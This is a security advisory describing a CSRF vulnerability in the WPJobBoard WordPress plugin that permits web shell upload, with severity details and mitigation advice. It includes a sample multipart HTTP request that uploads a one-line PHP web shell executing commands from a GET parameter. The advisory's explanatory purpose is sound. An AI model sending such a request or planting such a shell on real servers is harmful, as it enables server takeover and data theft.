Overview
A recently discovered security vulnerability, identified as CVE-2025-30967, is causing significant concern among the cybersecurity community. This vulnerability affects the WordPress plugin WPJobBoard, exposing a large number of websites to potential cyber threats. The vulnerability is a Cross-Site Request Forgery (CSRF), which can allow an attacker to upload a web shell to a server, potentially leading to system compromise or data leakage. Given the high Severity Score of 9.6, this is an issue that demands immediate attention and effective countermeasures.
Vulnerability Summary
CVE ID: CVE-2025-30967
Severity: Critical (CVSS: 9.6)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential for system compromise and data leakage
Affected Products
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Product | Affected Versions
WPJobBoard | All versions to date
How the Exploit Works
The WPJobBoard plugin has a CSRF vulnerability that allows an attacker to trick an authenticated user into executing an unwanted action without their knowledge. This is particularly hazardous as it can allow an attacker to upload a web shell to the server. This web shell, once uploaded, can provide the attacker with control over the server, and thereby access to sensitive data stored within.
Conceptual Example Code
Here’s a conceptual example of a malicious HTTP request that an attacker could use to exploit this vulnerability:
POST /wpjobboard/submit HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload"; filename="shell.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker is sending a POST request to the WPJobBoard’s form submission endpoint. The malicious part is the file `shell.php`, which, when executed on the server, will run any command passed to it via the ‘cmd’ GET parameter.
Mitigation Guidance
It is strongly recommended to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Additionally, website administrators should regularly check their servers for any suspicious files or activities. Regularly updating plugins and other website components can also prevent the exploitation of such vulnerabilities.